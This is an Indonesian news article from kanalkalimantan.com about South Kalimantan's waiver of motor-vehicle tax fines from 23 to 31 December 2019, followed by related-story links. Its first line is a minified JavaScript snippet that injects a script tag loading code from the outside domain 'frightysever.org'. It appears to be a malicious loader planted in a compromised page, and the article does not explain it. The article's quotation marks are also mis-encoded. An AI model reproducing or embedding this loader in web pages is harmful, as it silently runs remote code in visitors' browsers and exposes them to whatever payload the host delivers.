(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Jelang akhir tahun, Badan Keuangan Daerah (Bakueda) Provinsi Kalsel memberlakukan pembebasan denda Pajak Kendaraan Bermotor (PKB). Keputusan tersebut berlaku selama sembilan hari kedepan, terhitung dari tanggal 23 hingga 31 Desember 2019.
Kepala Bidang Pendapatan Pajak Daerah, Bakeuda Prov Kalsel Rustamaji mengatakan pembebasan denda PKB sesuai Surat Keputusan (SK) Gubernur Kalsel Nomor 188.44/0979/KUM /2019 tanggal 20 Desember 2019, tentang pemberian pembebasan sanksi adiministrasi berupa denda pajak kendaraan bermotor di wilayah Provinsi Kalsel.
“Dikeluarkannya SK ini oleh Gubernur Kalsel H Sahbirin Noor, adalah wujud bantuan pemerintah kepada masyarakat yang merasa berat membayar denda keterlambatan, sekaligus mempercepat progres pendapatan dari sektor pajak kendaraan,†katanya.
Selain itu, ungkap Rustamaji, dampak lainnya juga memicu kesadaran masyarakat untuk memenuhi kewajibannya yang tertunggak.
“Sehingga nantinya kesadaran masyarakat didorong kesana untuk pembayaran-pembayaran tahunan berikutnya secara rutin,†lanjutnya. Meski begitu, pemberian pembebasan denda PKB ini hanya dapat dilakukan pada loket khusus di kantor bersama Samsats Kalsel.
Perlu diketahui hal ini tidak berlaku pada layanan Samsat Unggulan seperti Antar Jemput, Mobil Keliling, Samsat Corner, Payment Point, e Samsat, Samolnas, Mobile Banking, Online serta Sam. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.